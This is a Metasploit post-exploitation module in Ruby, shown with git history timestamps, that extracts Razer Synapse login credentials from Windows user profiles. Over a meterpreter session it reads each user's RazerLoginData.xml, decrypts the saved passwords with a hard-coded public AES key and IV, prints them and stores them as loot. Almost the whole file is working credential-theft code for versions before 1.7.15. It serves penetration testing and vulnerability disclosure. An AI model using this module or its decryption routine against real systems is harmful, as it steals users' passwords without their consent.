metasploit-framework/modules/post/windows/gather/credentials/razer_synapse.rb

119 lines
3.5 KiB
Ruby
Raw Normal View History

2013-01-16 02:14:49 +00:00
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
require 'rex'
require 'openssl'
class Metasploit3 < Msf::Post
include Msf::Post::Windows::UserProfiles
2013-01-17 15:53:00 +00:00
include Msf::Post::File
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
def initialize(info={})
super(update_info(info,
'Name' => 'Windows Gather Razer Synapse Password Extraction',
'Description' => %q{
This module will enumerate passwords stored by the Razer Synapse
client. The encryption key and iv is publicly known. This module
will not only extract encrypted password but will also decrypt
password using public key. Affects versions earlier than 1.7.15.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Thomas McCarthy "smilingraccoon" <smilingraccoon[at]gmail.com>',
'Matt Howard "pasv" <themdhoward[at]gmail.com>', #PoC
'Brandon McCann "zeknox" <bmccann[at]accuvant.com>'
],
'References' =>
[
[ 'URL', 'http://www.pentestgeek.com/2013/01/16/hard-coded-encryption-keys-and-more-wordpress-fun/' ],
[ 'URL', 'https://github.com/pasv/Testing/blob/master/Razer_decode.py' ]
],
'SessionTypes' => [ 'meterpreter' ],
'Platform' => [ 'win' ]
))
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
# decrypt password
def decrypt(hash)
cipher = OpenSSL::Cipher::Cipher.new 'aes-256-cbc'
cipher.decrypt
cipher.key = "hcxilkqbbhczfeultgbskdmaunivmfuo"
cipher.iv = "ryojvlzmdalyglrj"
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
hash.each_pair { |user,pass|
pass = pass.unpack("m")[0]
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
password = cipher.update pass
password << cipher.final rescue return nil
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
store_creds(user, password.split("||")[1])
print_good("Found credentials")
print_good("\tUser: #{user}")
print_good("\tPassword: #{password.split("||")[1]}")
}
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
def store_creds(user, pass)
if db
report_auth_info(
:host => Rex::Socket.resolv_to_dotted("www.razerzone.com"),
:port => 443,
:ptype => 'password',
:sname => 'razer_synapse',
:user => user,
:pass => pass,
:duplicate_ok => true,
:active => true
)
vprint_status("Loot stored in the db")
end
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
# Loop throuhg config, grab user and pass
def parse_config(config)
if not config =~ /<Version>\d<\/Version>/
creds = {}
cred_group = config.split("</SavedCredentials>")
cred_group.each { |cred|
user = /<Username>([^<]+)<\/Username>/.match(cred)
pass = /<Password>([^<]+)<\/Password>/.match(cred)
if user and pass
creds[user[1]] = pass[1]
end
}
return creds
else
print_error("Module only works against configs from version < 1.7.15")
return nil
end
end
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
# main control method
def run
grab_user_profiles().each do |user|
if user['LocalAppData']
accounts = user['LocalAppData'] + "\\Razer\\Synapse\\Accounts\\RazerLoginData.xml"
next if not file?(accounts)
print_status("Config found for user #{user['UserName']}")
2013-01-16 02:14:49 +00:00
2013-08-30 21:28:54 +00:00
contents = read_file(accounts)
2013-01-16 02:14:49 +00:00
# read the contents of file
creds = parse_config(contents)
if creds
decrypt(creds)
else
print_error("Could not read config or empty for #{user['UserName']}")
end
end
end
end
end